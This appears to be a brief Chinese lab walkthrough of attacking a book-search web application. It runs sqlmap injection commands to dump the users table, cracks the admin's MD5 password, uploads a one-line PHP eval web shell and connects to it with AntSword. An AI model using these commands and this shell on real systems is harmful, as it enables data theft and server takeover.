步骤一，注册登录进去
步骤二，点击search
我们发现有很多书
步骤三，搜索一本书抓包发放到重放器
步骤四，数据改为1*，复制数据包到1.txt，然后打开sqlmap
步骤五，sqlmap查看当前数据库
python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt --current-db
步骤六，查表
python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt -D webapphacking --tables
步骤七，查看users表的数据
python sqlmap.py -r C:\Users\Administrator\Desktop\1.txt -D webapphacking -T users --dump
步骤八，使用管理员账号登录
可以看到密码是被MD5加密的
在线MD5网站进行解密 可以看到密码是Uncrackable
账号superadmin 密码为Uncrackable 登录成功
步骤九，上传一句话木马
<?php @eval($_POST['cmd']); ?>
shell.php上传成功
我们看可以看到上传的shell.php文件
步骤十，使用蚁剑连接
